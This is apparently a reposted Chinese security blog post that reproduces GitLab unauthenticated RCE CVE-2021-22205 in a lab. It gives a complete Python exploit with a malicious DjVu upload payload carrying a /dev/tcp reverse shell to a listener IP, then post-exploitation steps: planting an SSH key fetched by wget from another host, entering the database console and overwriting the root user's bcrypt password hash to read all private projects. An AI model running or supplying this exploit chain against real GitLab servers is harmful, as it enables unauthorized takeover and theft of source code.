<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    gitlab未授權RCE(CVE-2021-22205)漏洞復現及深入利用

    VSole2021-11-30 16:25:43

    影響版本

    11.9 <= Gitlab CE/EE < 13.8.8

    13.9 <= Gitlab CE/EE < 13.9.6

    13.10 <= Gitlab CE/EE < 13.10.3

    gitlab漏洞環境

    使用vulhub的docker環境,但是總是崩掉

    嘗試自己安裝。參考https://www.yuque.com/h3110n3w0r1d/htbocl/pcbcda

    利用方式

    通過CVE-2021-22205進行反彈shell

    利用腳本:

    #!/usr/bin/env python# -*- coding:utf-8 -*-import requestsfrom bs4 import BeautifulSoup
    class Exploit():    __info__ = {        'name': 'CVE-2021-22205',        'desription': 'gitlab 未授權遠程命令執行',        'references': ['https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205'],        'devices': ['gitlab',                    '11.9=< version <13.8.8',                    '13.9=< version <13.9.6',                    '13.10=< version <13.10.3'        ],    }
        target = "192.168.236.130"    port = 8888    reverseShell = "echo '/bin/bash -i >& /dev/tcp/{}/{} 0>&1' > /tmp/shell.sh && chmod 777 /tmp/shell.sh && /bin/bash /tmp/shell.sh"
        def exploit(self):        session = requests.Session()        requests.packages.urllib3.disable_warnings()        url = "http://{}:{}".format(self.target, self.port)        try:            r = session.get(url.strip("/") + "/users/sign_in", verify=False)            soup = BeautifulSoup(r.text, features="lxml")            token = soup.findAll('meta')[16].get("content")            data = "\r------WebKitFormBoundaryIMv3mxRg59TkFSX5\rContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\rContent-Type: image/jpeg\r\rAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02FORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\t(Copyright \"\\\" . qx{" + self.reverseShell + "} . \\\" b \") )                                                                                                                                                                                                                                                                                                                                                                                                                                     \r------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\r"            headers = {                "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36",                "Connection": "close",                "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5",                "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"}            flag = 'Failed to process image'            req = session.post(url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False)            x = req.text            if flag in x:                return "success!!!"            else:                print("[-] Vuln Check Failed... ...")                return 'failed'        except Exception as error:            print(error.with_traceback())            print("[-] Vuln Check Failed... ...")            return 'failed'
        def run(self):        res = self.exploit()        return res
    if __name__ == '__main__':    exploit = Exploit()    '''    在GitLab CE/EE中發現一個問題,從11.9開始影響所有版本。    GitLab沒有正確地驗證傳遞給文件解析器的圖像文件,導致遠程命令執行    此腳本利用此漏洞進行反彈shell, 測試前請配置好下面的 listenIp 和 listenPort 參數    '''    exploit.target= "192.168.2.83"    exploit.port = 10000    listenIp = "192.168.2.97"    listenPort = "9999"    exploit.reverseShell = exploit.reverseShell.format(listenIp,listenPort)    result = exploit.run()    print(result)
    

    在攻擊機器192.168.2.97上監聽9999端口

    設置漏洞利用腳本的target(192.168.2.83)和port(10000)值

    python3運行腳本,成功反彈shell

    在linux下,web目錄僅僅只有root用戶具有寫權限。獲取的git用戶無寫權限。

    發現git用戶具有操作數據庫權限,而gitlab自帶了訪問數據庫的命令:gitlab-rails dbconsole

    在反彈的shell處,敲入gitlab-rails dbconsole 無法成功訪問,一直卡著,如下圖:

    查看/etc/passwd

    gti用戶具有ssh登錄權限,向git用戶用戶寫入公鑰進行登錄,寫入公鑰的命令方式又很多種,這里使用wget命令

    先將生成的公鑰放在遠程服務器下,在反彈shell處將公鑰下載到受害者機器上

    wget http://192.168.2.62:8001/gitlab_git.pub

    默認情況下git用戶的authorized_keys內容為空,如果存在內容的話,先備份一下,再寫入。

    寫入成功后進行ssh登錄即可。登錄后如下

    再次執行gitlab-rails dbconsole 命令

    成功獲取數據庫權限

    查看有哪些數據表

    發現users表,格式化輸出root用戶的信息,ps: root的id為1

    根據密碼特征,可以發現是bcrypt加密,這種加密針對同一種明文每次加密后的密文不一樣。也就是說不可逆,但運氣好的話,可在cmd5中解開,但又因為gitlab默認的密碼策略是8個字符。

    最委托的辦法就是修改root用戶的密碼密文值。關于bcrypt加密算法參考https://blog.csdn.net/fengyingkong/article/details/87377061

    12345678的密文值為$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa

    執行如下sql命令:

    update users set encrypted_password='$2a$10$9sM0WeC3WSDCx9HWwr7z7eV3h3Q/tPxP7G2kvCWxWqdJemid1lICa' where e id =1;

    注意:在實戰情況下,修改root密碼密文前,先備份一下,事后恢復。

    修改成功后,使用root/12345678登錄

    訪問http://192.168.2.83:10000/admin

    可以看到即使private項目也可以訪問

    可獲取gitlab所有的項目代碼。

    ps:獲取gitlab系統所有項目代碼是我最大動力…… 另外上述操作均在gitlab默認配置情況下,若漏洞利用無法復現可留言,一起討論研究。

    gitlabshell
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    上述操作均在gitlab默認配置情況下,若漏洞利用無法復現可留言,一起討論研究。
    反彈Shell大全與原理
    2023-04-25 10:15:00
    reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。對方主機在局域網內,從外網無法直接訪問。對方主機上存在WAF,對主動連接發來的請求數據檢測嚴格,而對向外發出的請求不進行檢測或檢測較少。對方由于防火墻等限制,對方機器只能發送請求,不能接收請求。在滲透測試過程中,得到webshell后一般我們會反彈shell。反彈shell原理A主機開啟9090端口的tcp服務
    反彈shell匯總
    2021-07-28 10:01:11
    反彈shell匯總
    簡介在2023年4月24日晚接到gitlab升級通知后,例行升級惹出的大問題。本文記錄了修復gitlab的全過程及中間放下的錯。由于中間部分操作未能及時記錄截圖,所以在這使用中間備份的一些場景進行復現。此時為第一個錯誤,沒有對虛擬機進行快照就對內部應用進行升級。由于通過docker部署gitlab已經超過5年了,每次更新都是這么進行的,這次也沒有太多要注意的意識。
    釣魚文檔整理
    2021-12-12 06:43:52
    這個思路是在國外一個網站上看到的,原文在這(https://0xdf.gitlab.io/2018/07/31/malware-analysis-muddoc.html),在此感謝作者給出的思路,這里簡單來給大家看下總體思路:
    作為一個加密貨幣挖礦軟件,StripedFly常年隱藏在一個支持Linux和Windows的復雜模塊化框架后面。
    CVE-2021-4034 pkexec 本地提權 1.漏洞編號 CVE-2021-4034 2.影響范圍 2021以前發行版 3.漏洞詳情 此漏洞exp利用流程上來說,可以分為兩個部分 1.設置惡意環境變量 2.通過惡意環境變量執行命令 3.1 設置惡意環境變量 pkexec 源碼地址 https://gitlab.freedesktop.org/polkit/polkit/-/bl
    漏洞描述 2020年11月4日,SaltStack 官方發布了一則安全更新公告,涉及3個 CVE 漏洞。CVE-2020-16846: 未授權賬戶可通過 Salt API 的 SSH 功能連接到客戶端,進而利用 shell 功能執行任意命令。此漏洞影響所有開啟 Salt API 的用戶。從 CVE-2020-25592 模塊的 commit 中可以看到,NetapiClient 類在處理 SSH 執行命令時并未進行身份校驗,這會導致攻擊者可以直接通過NetapiClient 提供的 API 進行 SSH 連接。產品側解決方案 針對上述三個漏洞,阿里云 WAF 已默認更新防御策略,用戶無需操作即可享受防護。
    靶機Bitlab的滲透測試
    2023-03-22 10:13:58
    0x00 本文目錄反思與總結基本信息滲透測試過程補充0x01 反思與總結1.?發送GET參數化請求2.?對反彈回來的shell進行設置完善3.?hooks來進行提權0x02 基本信息靶機IP地址:10.10.10.114Kali IP地址:10.10.14.130x03 滲透測試過程端口探測。22端口目錄探測我們先從80下手,查看下網頁內容先使用gobuster進行掃描。時,發現沒反應,但是出現了javascript代碼。
    從6月到7月中旬,研究人員發現了數百個獨特的IP地址,這些IP地址代表受Chaos攻擊的設備。截至周二,這個數字已達到了111臺。CVE指用于跟蹤特定漏洞的機制。受感染的IP地址表明,Chaos感染主要集中在歐洲,北美、南美和亞太地區也有感染現象。從9月1日到9月5日,該組織收到的流量超過了正常流量。使用SSH的用戶應該始終使用加密密鑰進行身份驗證。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类